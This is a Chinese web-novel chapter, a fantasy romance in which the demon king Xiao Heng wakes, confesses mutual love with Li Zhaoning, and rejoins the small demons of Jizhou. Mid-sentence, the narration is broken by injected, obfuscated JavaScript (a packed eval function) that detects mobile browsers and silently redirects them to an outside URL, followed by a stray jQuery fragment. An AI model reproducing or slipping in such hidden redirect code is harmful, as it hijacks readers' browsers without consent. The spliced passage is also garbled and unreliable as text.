可不知怎的,见到狐狸的那一刻几个妖都好像被打了一样。态度大变,连连冲李昭宁道谢,然后狼狈回杻阳山。 而蓟州城,妖界速递的生意越做越大,墨家工坊的机关也越来越精巧,蓟州城和杻阳山之间的往来越来越频繁,李昭宁这个做州牧的,自然闲不下来。 可无论多忙,每晚回屋,她总要在那只狐狸身边坐一坐。 有时候帮他清洗梳理毛发,有时候什么也不做,就靠在它旁边,闭着眼歇一会儿。 那天晚上,她照例推开门,走进屋。屋中央的火炉竟然还燃烧着,火星一点一点跳着。 气温忽上忽下,早晚温差还是很大,炉火就没有停。可她临走前忘了添柴,现在烧到现在? 难道是自己添了柴给忘了? 她疑惑着,脱下外袍,挂在衣架上,转身往垫子那边走,突然,她愣住了。 垫子上空空荡荡的。 萧蘅不见了。 李昭宁心口猛地一紧,像是被什么东西狠狠攥住。她张了张嘴,想喊什么,却喊不出来。脑子里嗡嗡的,一片空白。 他去哪儿了? 他什么时候醒的? 他是不是走了? 他是不是—— “找我?” 一个懒洋洋的声音从身后传来,带着几分熟悉的调子。 李昭宁猛地转身。 萧蘅倚着窗边,一手负在身后,一手把玩那把雪绸白玉扇,微微侧着头看她。 月光从窗外照进来,落在他身上,给他镀了一层银边。他穿着一身靛蓝色的衣袍,衣袍上绣着暗银色的纹路,整个人站在那里,长身玉立,丰神俊朗,活脱脱就是画里走出来的人物。 只是那张脸,有些苍白。他的眉眼弯弯,带着几分似笑非笑的弧度。 她愣在那里,半天没动。 萧蘅挑了挑眉,收扇起身:“怎么,不认识了?” 李昭宁还是没动。 萧蘅看着她那傻愣愣的样子,忽然笑了。他走过来,一步一步,走到她面前,低下头,看着她。 “蓁蓁姑娘。” 他声音轻轻的,带着几分沙哑,像是睡了太久,嗓子还没完全恢复。 他喊她。就像他们最初相遇的模样。 她恍惚隔世。 她以为自己在做梦,垂在身侧的手不自觉攥紧,手心的汗愈发粘手,心脏跳动越来越快,才猛然回神。 她忽然伸手,一把揪住他的衣领。 萧蘅猝不及防,身体往前一凑:“你——” “你什么时候醒的?”她质问,眼睛有些酸涩,声音有点抖,“醒了为什么不去找我?” 萧蘅敛眉,有些动容。 她忽然想到萧蘅刚醒处在恢复期,即可松手。 萧蘅被她松得一晃,有些意外地看她。 她绕过他,走到桌边,沏茶。 她问:“喝茶吗?” “不渴。”萧蘅随之转身,半握拳的手举在腰间。 “不渴啊。”她喃喃重复,端起茶杯,喝了一口,本想竭力安定住自己激动的情绪,可手一直在颤抖,声音也是。茶水差点溅出茶杯。 她的脑袋发热发晕,思绪很混乱,不知为什么像是身处一座狭小闷热的屋子,憋得她难受。 “那……”她放下茶杯,转过头看他,“怎么还站着?坐下啊。” 萧蘅看着她,忽然觉得有点不对劲。 可他还没来得及说什么,李昭宁已经走了过来,挽住他的胳膊,把他往垫子那边带。 “来,坐下。”她说,语气温柔得像是在哄孩子,“你刚醒,身子肯定还虚,别站着,坐下歇歇。” 萧蘅被她按着坐下,坐在那软软的垫子上。 她也坐下来,坐在他旁边。 她伸手,摸了摸他的额头。 “嗯,不烫。”她说,“脸色也还行。就是有点白,是睡得久了的缘故吧?” 萧蘅看着她,总觉得哪里怪怪的。 可她已经收回了手,靠在他肩上,轻轻叹了口气。 “你醒了就好。”她说,声音软软的,“我还以为……还以为你醒不过来了呢。” 萧蘅的心忽然揪了一下。他犹豫伸手,揽住她的肩,把她往怀里带了带。 “李昭宁。”他说,声音有点危险。 “嗯?”李昭宁抬起头,一脸无辜地看着他,“怎么了?” 萧蘅看着她那张无辜的脸,轻轻摇头,笑了。笑得有点无奈,又有点宠溺。 “你还在气我?”他说。 她眨眨眼。 他凑近,鼻尖轻蹭她的脸颊,声音很小,也在颤抖。 他也在害怕。 “我知道你还在生气。” “对不起。之前是我一意孤行,吓到你了。” “别生气了,好嘛?” “你……”她无关紧要的态度终于硬撑不住,抬起胳膊想锤他,却想到他在恢复期,于是又收回,“非要用那招来让我原谅你吗,你知不知道万一你——” 萧蘅挑眉,握住她即将收回的手,挪着心窝。 他喉间溢出很低的一声轻笑:“原来不是在气我欲强行将你留下,而且气我在最后关头牺牲妖力。” “原谅蓁蓁姑娘,在担心我。”他抬起另一只手,捏了捏她的脸。 李昭宁被他捏着脸,皱眉,往后一躲,别过脸去。 可那耳尖,悄悄红了。 萧蘅看见了。 他手握住她的下巴,把她的脸扳回来,让她看着他。 “李昭宁。”他说,声音轻轻的。 “干嘛?” “你那天晚上说的话……” 李昭宁心头一跳,双手因激动无处安放,最后撑在自己身侧,有些支支吾吾:“什……么话?” “你说……”萧蘅看着她,深邃的眼眸里带着几分笑意,“你喜欢我?” 李昭宁的脸腾地红了:“你——你不是在昏迷吗?” “昏迷是昏迷,但听得见。”萧蘅理直气壮。 “你骗人!” “没骗你。真听得见。”萧蘅凑近她,近得呼吸都交缠在一起,“你说,我喜欢你。我听见了。” 李昭宁的脸红得像烧起来。这么说,她对萧蘅说的那一堆煽情的话,他都听见了?! 她想躲,躲不开;想逃,逃不掉。萧蘅的手揽着她的腰,把她牢牢固定在怀里。 “不信吗?要我重复一遍?” 她摇头摇得像拨浪鼓:“我信了还不行么?” “那……你再说一遍。”他说,声音低低的,带着几分蛊惑,“我想再听一遍。” 李昭宁抬头一瞧,看到他那张明明很欠揍却让她怎么也讨厌不起来的脸。 她眼睛看向别处,犹豫了一会儿。 “我喜欢你。”她说,一字一顿,“萧蘅,我喜欢你。” 萧蘅的眼眸亮了。 那光芒亮得像是有星星在里面炸开,亮得像是整片夜空都被点燃了。他看着她,好像看了很久很久,要把这些天的空白补上。 然后低下头,吻住了她。 那吻温柔而缱绻,带着几分小心翼翼,又带着几分压抑不住的欢喜。像是终于等到了什么,像是终于抓住了什么,像是这一生的等待,都值得了。 窗外,月光正好。 屋里,炉火正暖。 许久,他们才分开。 李昭宁靠在他怀里,听着他的心跳,咚,咚,咚,沉稳而有力。 “你以后,不许再那样对我。。”她忽然开口。 “嗯?哪样?”他轻掀眼皮,明知故问。 她瞪他一眼。 “好。”他说,“都好。你的要求我都会满足。对你,我甘之如饴。” * 第二天一早,李昭宁是被一阵喧哗声吵醒的。 她睁开眼,发现自己正躺在萧蘅怀里。那人还睡着,眉头微微皱着,像是做了什么梦。她轻轻挣开他的怀抱,披上外袍,推开门。 门外,几只小妖手搂住肩膀,凑脑袋围着圈。 玄武瓮声瓮气地反驳:“我真的感觉到大王的妖识了!” “我昨晚也感觉到一丝气息”阿蛟问,“你们呢?” 狼少爷:“我咋没听见?” “因为你笨。” “你才笨。我可是少爷。” 李昭宁看着它们吵成一团,忍不住笑了。 “我也感觉到了。”她走过去。 “是吧是吧……”浮雀扭头看见她,眼睛一亮,立刻飞过来:“大人大人!您醒啦!我们昨晚感觉到老大的妖识了!” 就在这时,身后传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314368|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个懒洋洋的声音。 “不是感觉。” 她回头一看,萧蘅不知什么时候醒了,正站在门口,披着外袍,头发还有些乱,一副刚睡醒的样子。 “老大!” “大王!” 然后是小妖们激动的喧闹声,几个一股脑冲向萧蘅。 她看到萧蘅紧皱眉毛,然后下一秒,腰间一紧,萧蘅瞬移到她身边。几只小妖猝不及防撞上门。 “啾——我的翅膀。” “噗——我讨厌老大。” “吼——我的老腰。” 这时候芝兰和小花妖也敢来。二人也难掩激动的心,上来道谢。萧蘅倒是洒脱,下巴一扬,说人在江湖,互相帮忙。 芝兰一出现,狼少爷就高兴地摆着四肢凑近。尾巴摇得跟螺旋桨似的。 “啊哈,芝兰妹妹。” 李昭宁注意到拐角的诸葛兰旌,挥手招呼。 诸葛兰旌站在游廊拐角,轻轻晃着扇,朝这看了一眼,嘴角不住地上扬:“没事就好。” 萧蘅清声高喊:“这几日麻烦你照顾蓁蓁了。以后,可不需要了。”说罢,他把她拉进怀里。 诸葛兰旌慢慢走近:“我妹妹,我当然要照顾。” “谁是你妹妹?” 诸葛兰旌被萧蘅秒变脸逗笑,拍了拍手吆喝小妖们:“好了。我们该办事了。给昭宁和萧蘅留点独处的空间。” 李昭宁应话:“你们快去吃早饭,一会还要送快递呢。” “好的!”小妖们叽叽喳喳,来了又去。 萧蘅听到前一句还有些收敛眉头,后一句“昭宁”再次紧闭。 “你倒是时时刻刻想着那些小妖。” 李昭宁抬头看他,胳膊肘拐了拐他,“怎么,吃醋了?” “是又怎样?”他说,声音低低的,“我就是吃醋。你先前天天忙那些小妖的事,都不陪我。” 李昭宁靠在他怀里,忍不住笑了。 “堂堂妖王,吃小妖的醋,害不害臊?” “不害臊。”萧蘅理直气壮,“你是我的人,我吃醋怎么了?” “行行行,你的人。那——你的人现在要去忙了。今天还有好多事呢。” 萧蘅的脸垮了下来。 “又要忙?” “当然要忙。”李昭宁从他怀里挣出来,理了理衣裳,“妖界速递的生意越做越大,墨家工坊的机关也越来越多,我不盯着怎么行?” 萧蘅看着她,忽然叹了口气。 “那我陪你。” 李昭宁愣了一下。 “你陪我?” “嗯。”萧蘅走过来,握住她的手,“你去哪儿,我就去哪儿。你忙你的,我看着你。” “你就只是看着我啊?” “笨蛋,”他破笑,大手包裹住她的手,“自然是要帮你。” 两人并肩往外走。 走到门口,李昭宁忽然停下脚步。 “萧蘅。” “嗯?” “谢谢你。” “谢什么?” 李昭宁想了想。 “谢你醒过来。谢你陪着我。谢你……一直都在。” 萧蘅看着她,曾经深不可测的眼眸里泛起温柔的光。 他伸手,再度把她揽进怀里。 “笨蛋。”他说,声音轻轻的,“是我谢谢你。” “谢你什么?” 萧蘅低头,在她额上印下一个吻。 “谢你愿意留下来。谢你喜欢我。谢你……让我不再是一个人。” 他说着,慢慢低头。 气息越来越近。 远处猛然传来玄武的喊声—— “大人!大人!那运输车太好用了!注入一点点妖力就怎么转起来了!” 她立马转头应声,萧蘅落了空,紧皱眉头盯着远处的小妖。 她见状忍不住笑出声来。 “走吧。” 萧蘅不情愿地点头。 两人并肩走出院子,走进那暖洋洋的日光里。 远处,小妖们叽叽喳喳地忙碌着。 再远处,蓟州城的炊烟袅袅升起。 人间的烟火气,扑面而来。 萧蘅握紧她的手。 李昭宁也握紧他的手。 就这样,一直走下去吧。 她想。 就这样,一直在一起。